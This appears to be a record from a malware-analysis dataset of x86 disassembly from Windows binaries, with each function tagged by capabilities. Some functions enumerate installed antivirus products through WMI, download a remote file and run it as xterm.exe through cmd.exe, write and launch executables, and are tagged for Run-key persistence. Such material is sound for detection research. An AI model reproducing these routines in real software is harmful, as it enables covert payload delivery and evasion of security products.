joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40632a
Capabilities:
Check if file exists
Create process on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
xor esi, esi
xor eax, eax
lea edi, [ebp - 0xc]
mov dword [ebp - 0x10], esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x10
stosd dword es:[edi], eax
pop ecx
xor eax, eax
push dword [ebp + 0xc]
lea edi, [ebp - 0x50]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x54], 0x44
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x406362
test al, 0x10
jne 0x406365
mov dword [ebp + 0xc], esi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push dword [ebp + 0xc]
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x406394
cmp dword [ebp - 0xc], esi
je 0x406391
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
pop edi
pop esi
leave
ret 8

Function at 0x4063cb
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
mov esi, dword [ebp + 8]
push esi
call fcn.004064d2
test eax, eax
je 0x40641a
cmp dword [ebp + 0xc], 0
push esi
je 0x406414
and dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 3
call sub.KERNEL32.dll_lstrlenA
and byte [eax + esi + 1], 0
and dword [ebp - 0x14], 0
lea eax, [ebp - 0x20]
mov dword [ebp - 0x18], esi
push eax
mov word [ebp - 0x10], 0x414
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
jmp 0x40641a
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
push 0xffffffffffffffef
call fcn.00405d87
pop esi
leave
ret 8
Function at 0x4065f0
Capabilities:
Get common file path
Get file size

Disassembly:
sub esp, 0xc
and dword [esp], 0
push ebx
push ebp
push esi
push edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
mov edi, dword [esp + 0x24]
test esi, esi
je 0x406640
push str.MoveFileExA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40662e
push 5
push edi
push dword [esp + 0x28]
call eax
mov dword [esp + 0x10], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x10], 0
jne 0x4067db
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov esi, 0x400
test edi, edi
mov ebp, 0x798b00
je 0x40666c
push 1
push 0
push edi
call fcn.004065d4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push ebp
push edi
call ebx
jmp 0x406676
mov dword [0x798b00], 0x4c554e
push esi
mov esi, 0x798700
push esi
push dword [esp + 0x28]
call ebx
push esi
push ebp
push str._s_s_r_n
push 0x798300
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov ebx, eax
mov dword [esp + 0x20], ebx
push 0x3f0
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.wininit.ini
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
xor eax, eax
push eax
push 0x8000080
push 4
push eax
push eax
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0x14], edi
je 0x4067db
xor esi, esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
push esi
lea eax, [ebx + ebp + 0xa]
push eax
push esi
push 4
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, esi
mov dword [esp + 0x18], eax
je 0x4067c3
push esi
push esi
push esi
push 2
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
cmp ebx, esi
je 0x4067b9
push str._Rename__r_n
push ebx
call fcn.0040655c
cmp eax, esi
jne 0x40673e
lea eax, [ebx + ebp]
push str._Rename__r_n
push eax
call sub.KERNEL32.dll_lstrcpyA
add ebp, 0xa
jmp 0x406793
add eax, 0xa
push 0x40934c
push eax
call fcn.0040655c
mov esi, eax
test esi, esi
je 0x406791
mov edi, ebx
sub edi, esi
add edi, ebp
push edi
call fcn.004063bc
push edi
push esi
push eax
mov dword [esp + 0x30], eax
call fcn.004065b0
push edi
mov eax, dword [esp + 0x24]
push dword [esp + 0x28]
add eax, esi
push eax
call fcn.004065b0
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
sub esi, ebx
mov edi, dword [esp + 0x14]
mov eax, esi
xor esi, esi
jmp 0x406795
xor esi, esi
mov eax, ebp
push dword [esp + 0x20]
add eax, ebx
push 0x798300
push eax
call fcn.004065b0
push ebx
add ebp, dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [esp + 0x10], 1
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push esi
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 8
Function at 0x4067e9
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp + 0x14]
push esi
mov esi, dword [ebp + 0x14]
xor ebx, ebx
push eax
push 0x20019
push ebx
push dword [ebp + 0xc]
mov byte [esi], bl
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406847
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], 0x400
push eax
lea eax, [ebp + 8]
push esi
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x406836
cmp dword [ebp + 8], 1
je 0x406838
mov byte [esi], bl
push dword [ebp + 0x14]
mov byte [esi + 0x3ff], bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
pop ebp
ret 0x10

Function at 0x40691d
Capabilities:
Check if file exists
Get common file path
Get file attributes
Persist via run registry key

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, 0x79f320
mov esi, edi
jmp 0x406aa7
mov ebx, esi
mov ecx, 0x400
sub ebx, edi
cmp ebx, ecx
jge 0x406ab5
movzx ebx, al
inc edx
cmp ebx, 0xdb
mov dword [esp + 0x14], edx
jge 0x406956
mov byte [esi], bl
inc esi
jmp 0x406aab
cmp ebx, 0xff
jne 0x406969
mov al, byte [edx]
mov byte [esi], al
inc esi
inc edx
jmp 0x406aab
lea eax, [ebx - 0xdb]
cmp eax, 0x23
ja case.default.0x40697f
movzx eax, byte [eax + 0x406ae1]
jmp dword [eax*4 + 0x406ac1]
push dword [0x7a0788]
push esi
call fcn.0040686f
jmp case.default.0x40697f
lea eax, [ebx - 0xdc]
shl eax, 0xa
add eax, 0x798f20
push eax
jmp 0x406a86
and byte [0x4092d9], 0
push esi
push str.ProgramFilesDir
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000002
call fcn.004067e9
cmp byte [esi], 0
jne case.default.0x40697f
push str.C:Program_Files
jmp 0x406a86
mov ebp, dword [ebx*4 + 0x408f1c]
push ebp
push 0x40930f
call sub.KERNEL32.dll_lstrcpyA
xor eax, eax
cmp ebx, 0xfa
setne al
and eax, dword [0x7a07a4]
mov edi, eax
test edi, edi
mov byte [0x4092d9], 0x5c
mov eax, str.Common
jne 0x406a11
mov eax, ebp
push esi
push eax
xor eax, eax
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
test edi, edi
setne al
add eax, 0x80000001
push eax
call fcn.004067e9
cmp byte [esi], 0
jne 0x406a42
test edi, edi
je 0x406a37
xor edi, edi
jmp 0x4069ff
push 0x79fb20
push esi
call sub.KERNEL32.dll_lstrcpyA
cmp ebx, 0xfa
jne case.default.0x40697f
push str.MicrosoftInternet_ExplorerQuick_Launch
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je case.0x40697f.251
test al, 0x10
jne 0x406a94
push 0x79fb20
jmp 0x406a86
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp case.default.0x40697f
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp case.default.0x40697f
push 0x40aed8
push esi
call sub.KERNEL32.dll_lstrcpyA
cmp ebx, 0xf0
jle 0x406a9a
push esi
call fcn.00406b05
push esi
call sub.KERNEL32.dll_lstrlenA
add esi, eax
mov edi, 0x79f320
mov edx, dword [esp + 0x14]
mov al, byte [edx]
test al, al
jne 0x40692d
and byte [esi], 0
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x401590
Capabilities:
Create directory
Create process on windows
Create process suspended
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
mov eax, dword [0x453170]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 0x10]
push 0x2000
push 0x40
mov dword [ebp - 0xb8], edx
mov dword [ebp - 0xb0], ecx
mov dword [ebp - 0xbc], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push dword [0x455930]
mov esi, eax
push esi
mov dword [ebp - 0xb4], esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x45063c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
call esi
push edi
mov edi, dword [ebp - 0xb4]
push edi
call esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x45063c
push edi
call esi
push ebx
push edi
call esi
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp - 0xb0]
call fcn.0040abf0
add esp, 0xc
mov ebx, eax
push dword [ebp - 0xb8]
push ebx
call fcn.0040ae50
lea eax, [ebp - 0x54]
push eax
call fcn.004096c0
mov esi, dword [ebp - 0xbc]
lea eax, [ebp - 0x54]
add esp, 0xc
push eax
push 0
push esi
push ebx
call fcn.00408240
mov edi, dword [ebp - 0x3c]
add esp, 0x10
lea eax, [edi + 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 9
push esi
push ebx
mov dword [ebp - 0xb0], eax
call fcn.004097b0
add esp, 0xc
mov esi, eax
push 0
push edi
push dword [ebp - 0xb0]
push esi
call fcn.00409720
push esi
call fcn.004095d0
add esp, 0x14
push ebx
call fcn.00408d60
add esp, 4
push 0
push 0x80
push 2
push 0
push 1
push 0x10000000
push dword [ebp - 0xb4]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, dword [ebp - 0xb0]
mov esi, eax
push 0
lea eax, [ebp - 0x10]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebx
call esi
push 0x40
lea eax, [ebp - 0x98]
mov dword [ebp - 0x9c], 0x44
push 0
push eax
call fcn.0041f670
mov ebx, dword [ebp - 0xb4]
lea eax, [ebp - 0xac]
add esp, 0xc
push eax
lea eax, [ebp - 0x9c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [ebp - 0xac]
call edi
push dword [ebp - 0xa8]
call edi
push ebx
call esi
mov ecx, dword [ebp - 8]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041d829
mov esp, ebp
pop ebp
ret
Function at 0x401750
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x453170]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push 0x449e2c
push 1
push 0
push 0x449e3c
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov edi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push 0x450640
mov dword [ebp - 0xc], 0
call edi
mov ecx, dword [ebp - 0x14]
lea esi, [ebp - 0xc]
push esi
push 0
push 0
mov edx, dword [ecx]
push 0
push 0
push 0
push 0
push eax
push ecx
call dword [edx + 0xc]
test eax, eax
js 0x4018b0
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [ebp - 0xc]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
push 0x45066c
call edi
push str.SELECT__FROM_AntiVirusProduct
mov esi, eax
call edi
mov ecx, dword [ebp - 0xc]
lea edi, [ebp - 0x10]
push edi
push 0
push 0x20
push eax
mov dword [ebp - 0x10], 0
mov edx, dword [ecx]
push esi
push ecx
call dword [edx + 0x50]
test eax, eax
js 0x40189e
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x18], 0
mov dword [ebp - 8], 0
test ecx, ecx
je 0x40189e
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, 0x455940
mov ebx, dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [ecx]
lea edx, [ebp - 8]
push edx
lea edx, [ebp - 0x18]
push edx
push 1
push 0xffffffffffffffff
push ecx
call dword [eax + 0x10]
cmp dword [ebp - 8], 0
je 0x40189e
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x28]
push 0
push 0
push edx
mov ecx, dword [eax]
push 0
push str.displayName
push eax
call dword [ecx + 0x10]
push 0x1000
push 0
push esi
call fcn.0041f670
add esp, 0xc
push dword [ebp - 0x20]
push esi
call edi
lea eax, [ebp - 0x28]
push eax
call ebx
mov ecx, dword [ebp - 0x10]
add esi, 0x1000
test ecx, ecx
jne 0x401845
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041d829
mov esp, ebp
pop ebp
ret
Function at 0x404970
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2010
call fcn.0041de70
mov eax, dword [0x453170]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x2008]
push eax
push 0
push 0
push 0x4452d0
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
push 0x2000
lea eax, [ebp - 0x2004]
push 0
push eax
call fcn.0041f670
add esp, 0xc
lea eax, [ebp - 0x2004]
push dword [ebp - 0x2008]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.xterm.exe
lea eax, [ebp - 0x2004]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov esi, dword [0x459d58]
push 0
add esi, 0x3ec
push 0
push esi
mov dword [ebp - 0x200c], esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push eax
push esi
push 0
push 0xfde9
call edi
mov esi, eax
lea ecx, [esi*2 + 2]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push esi
mov esi, dword [ebp - 0x200c]
push eax
push esi
mov dword [ebp - 0x2010], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 0
push 0xfde9
call edi
mov edi, dword [ebp - 0x2010]
lea eax, [ebp - 0x2004]
push 0
push 0
push eax
push edi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x404abe
lea eax, [ebp - 0x2004]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 0x40]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x2004]
push eax
push str._k___s_
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 6
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0
push 0
push esi
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [0x459d48], 1
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.0041d829
mov esp, ebp
pop ebp
ret
Function at 0x40ca40
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
xor edx, edx
push edi
xor edi, edi
bts edi, eax
cmp eax, 0x20
cmovae edx, edi
xor edi, edx
cmp eax, 0x40
mov eax, dword [esp + 0xc]
cmovae edx, edi
test eax, eax
js 0x40ca8c
push ebx
push esi
lea ebx, [esp + 0x14]
xor ecx, ecx
lea ebx, [ebx + 4]
bts ecx, eax
xor esi, esi
cmp eax, 0x20
cmovae esi, ecx
xor ecx, esi
cmp eax, 0x40
mov eax, dword [ebx]
cmovae esi, ecx
or edi, ecx
or edx, esi
test eax, eax
jns 0x40ca68
pop esi
pop ebx
mov eax, edi
pop edi
ret
Function at 0x411530
Capabilities:
Hash data using djb2

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
xor esi, esi
mov ecx, 0x1505
test edi, edi
jne 0x411546
pop edi
xor eax, eax
pop esi
ret
push ebx
mov bl, byte [edi]
test bl, bl
je 0x411570
nop dword [eax]
mov eax, ecx
lea edi, [edi + 1]
mov edx, esi
shld esi, ecx, 5
shl ecx, 5
add ecx, eax
movzx eax, bl
mov bl, byte [edi]
adc esi, edx
cdq
add ecx, eax
adc esi, edx
test bl, bl
jne 0x411550
pop ebx
pop edi
mov eax, ecx
pop esi
ret

Function at 0x414a70
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
sub esp, 0xc
push ebp
mov ebp, dword [esp + 0x24]
xorps xmm0, xmm0
movlpd qword [esp + 8], xmm0
push esi
mov esi, dword [esp + 0x18]
test ebp, ebp
jb 0x414bbb
push ebx
mov ebx, dword [esp + 0x28]
ja 0x414a9d
test ebx, ebx
je 0x414bba
mov edx, dword [esp + 0x20]
push edi
test edx, edx
je 0x414b48
mov eax, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
mov dword [esp + 0x2c], eax
movzx eax, word [esi + 8]
or eax, 2
mov ecx, eax
xor ecx, 1
imul ecx, eax
mov eax, dword [esp + 0x28]
push 1
shr ecx, 8
xor cl, byte [edi + eax]
lea eax, [esp + 0x14]
push eax
mov byte [edi + edx], cl
mov eax, dword [esi]
not eax
mov byte [esp + 0x18], cl
push eax
call fcn.00416760
not eax
mov dword [esi], eax
movzx eax, al
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
mov byte [esp + 0x20], al
lea eax, [esp + 0x20]
push eax
mov eax, dword [esi + 8]
not eax
push eax
call fcn.00416760
mov edx, dword [esp + 0x3c]
not eax
add esp, 0x18
mov dword [esi + 8], eax
mov eax, dword [esp + 0x2c]
add edi, 1
adc eax, 0
mov dword [esp + 0x2c], eax
cmp eax, ebp
jb 0x414ab6
ja 0x414bb9
cmp edi, ebx
jb 0x414ab6
pop edi
pop ebx
pop esi
pop ebp
add esp, 0xc
ret
movlpd qword [esp + 0x14], xmm0
mov ebp, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x28]
push 1
mov al, byte [edi + eax]
mov byte [esp + 0x14], al
lea eax, [esp + 0x14]
push eax
mov eax, dword [esi]
not eax
push eax
call fcn.00416760
not eax
mov dword [esi], eax
movzx eax, al
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
mov byte [esp + 0x20], al
lea eax, [esp + 0x20]
push eax
mov eax, dword [esi + 8]
not eax
push eax
call fcn.00416760
add esp, 0x18
not eax
add edi, 1
mov dword [esi + 8], eax
adc ebp, 0
cmp ebp, dword [esp + 0x30]
jb 0x414b56
ja 0x414bb9
cmp edi, ebx
jb 0x414b56
pop edi
pop ebx
pop esi
pop ebp
add esp, 0xc
ret
Function at 0x414bd0
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
sub esp, 0x10
cmp dword [esp + 0x24], 0
xorps xmm0, xmm0
push esi
mov esi, dword [esp + 0x18]
movlpd qword [esp + 8], xmm0
jb 0x414d3c
push ebp
mov ebp, dword [esp + 0x28]
ja 0x414bfb
test ebp, ebp
je 0x414d3b
cmp dword [esp + 0x20], 0
push ebx
push edi
je 0x414cc8
mov eax, dword [esp + 0x18]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x14], eax
nop dword [eax + eax]
mov ecx, dword [esp + 0x2c]
push 1
mov bl, byte [eax + ecx]
mov ax, word [esi + 8]
or ax, 2
mov byte [esp + 0x14], bl
movzx edi, ax
lea eax, [esp + 0x14]
push eax
mov eax, dword [esi]
not eax
push eax
call fcn.00416760
not eax
mov dword [esi], eax
movzx eax, al
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
mov byte [esp + 0x20], al
lea eax, [esp + 0x20]
push eax
mov eax, dword [esi + 8]
not eax
push eax
call fcn.00416760
mov edx, dword [esp + 0x40]
not eax
mov dword [esi + 8], eax
add esp, 0x18
mov eax, edi
mov ecx, edi
xor ecx, 1
imul ecx, eax
mov eax, dword [esp + 0x14]
shr ecx, 8
xor cl, bl
mov byte [eax + edx], cl
add eax, 1
mov ecx, dword [esp + 0x1c]
adc ecx, 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], ecx
cmp ecx, dword [esp + 0x34]
jb 0x414c20
ja 0x414d39
cmp eax, ebp
jb 0x414c20
pop edi
pop ebx
pop ebp
pop esi
add esp, 0x10
ret
movlpd qword [esp + 0x14], xmm0
mov ebx, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x2c]
push 1
mov al, byte [edi + eax]
mov byte [esp + 0x14], al
lea eax, [esp + 0x14]
push eax
mov eax, dword [esi]
not eax
push eax
call fcn.00416760
not eax
mov dword [esi], eax
movzx eax, al
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
mov byte [esp + 0x20], al
lea eax, [esp + 0x20]
push eax
mov eax, dword [esi + 8]
not eax
push eax
call fcn.00416760
add esp, 0x18
not eax
add edi, 1
mov dword [esi + 8], eax
adc ebx, 0
cmp ebx, dword [esp + 0x34]
jb 0x414cd6
ja 0x414d39
cmp edi, ebp
jb 0x414cd6
pop edi
pop ebx
pop ebp
pop esi
add esp, 0x10
ret

Function at 0x414f00
Capabilities:
Hash data via bcrypt

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x414f2f
cmp dword [esp + 0x10], 0
ja 0x414f2f
mov ecx, dword [esp + 0xc]
jb 0x414f1a
cmp ecx, 0xffffffff
ja 0x414f2f
push 0
push ecx
push dword [esp + 0x10]
push dword [eax + 4]
call sub.bcrypt.dll_BCryptHashData
test eax, eax
setns al
ret
xor al, al
ret

Function at 0x4151a0
Capabilities:
Generate random numbers via winapi

Disassembly:
movzx eax, word [esp + 8]
push 2
push eax
push dword [esp + 0xc]
push 0
call sub.bcrypt.dll_BCryptGenRandom
test eax, eax
setns al
ret
Function at 0x418650
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x4187d5
cmp dword [esi + 0x20], 0
je 0x4187d5
cmp dword [esi + 0x24], 0
je 0x4187d5
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x4187d5
cmp dword [eax], esi
jne 0x4187d5
mov eax, dword [eax + 4]
cmp eax, 0x2a
je 0x4186b5
cmp eax, 0x39
je 0x4186b5
cmp eax, 0x45
je 0x4186b5
cmp eax, 0x49
je 0x4186b5
cmp eax, 0x5b
je 0x4186b5
cmp eax, 0x67
je 0x4186b5
cmp eax, 0x71
je 0x4186b5
cmp eax, 0x29a
jne 0x4187d5
push edi
mov edi, dword [esi + 0x1c]
mov dword [esi + 0x14], 0
mov dword [esi + 8], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x2c], 2
mov ecx, dword [edi + 0x18]
mov eax, dword [edi + 8]
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], eax
test ecx, ecx
jns 0x4186ee
neg ecx
mov dword [edi + 0x18], ecx
cmp ecx, 2
mov eax, 0x2a
push 0
mov edx, 0x39
cmove eax, edx
push 0
mov dword [edi + 4], eax
push 0
jne 0x418710
call fcn.00416760
jmp 0x418715
call fcn.0041ae00
add esp, 0xc
mov dword [esi + 0x30], eax
mov dword [edi + 0x28], 0xfffffffe
push edi
call fcn.0041b5d0
mov esi, dword [esi + 0x1c]
xor edx, edx
mov eax, dword [esi + 0x2c]
mov ecx, dword [esi + 0x4c]
add eax, eax
mov dword [esi + 0x3c], eax
mov eax, dword [esi + 0x44]
mov word [eax + ecx*2 - 2], dx
mov eax, dword [esi + 0x4c]
lea eax, [eax*2 - 2]
push eax
push edx
push dword [esi + 0x44]
call fcn.0041f670
mov eax, dword [esi + 0x84]
add esp, 0x10
lea ecx, [eax + eax*2]
movzx eax, word [ecx*4 + 0x4486ca]
mov dword [esi + 0x80], eax
movzx eax, word [ecx*4 + 0x4486c8]
mov dword [esi + 0x8c], eax
movzx eax, word [ecx*4 + 0x4486cc]
mov dword [esi + 0x90], eax
xor eax, eax
movzx ecx, word [ecx*4 + 0x4486ce]
pop edi
mov dword [esi + 0x7c], ecx
mov dword [esi + 0x6c], 0
mov dword [esi + 0x5c], 0
mov dword [esi + 0x74], 0
mov dword [esi + 0x16b4], 0
mov dword [esi + 0x78], 2
mov dword [esi + 0x60], 2
mov dword [esi + 0x68], 0
mov dword [esi + 0x48], 0
pop esi
ret
mov eax, 0xfffffffe
pop esi
ret
Function at 0x41e5fe
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41e63d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41e63d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41e63d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41e63d
cmp dword [ecx + 0x74], 0xe
jbe 0x41e63d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x42e707
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44c608
push 0x44c600
push str.FlsAlloc
push 0x1f
call fcn.0042e5c6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42e73b
push dword [ebp + 8]
mov ecx, esi
call dword [0x445260]
call esi
jmp 0x42e741
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x42e785
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44c618
push 0x44c610
push str.FlsGetValue
push 0x21
call fcn.0042e5c6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42e7bc
push dword [ebp + 8]
mov ecx, esi
call dword [0x445260]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x42e7c4
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44c620
push 0x44c618
push str.FlsSetValue
push 0x22
call fcn.0042e5c6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42e7fe
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x445260]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]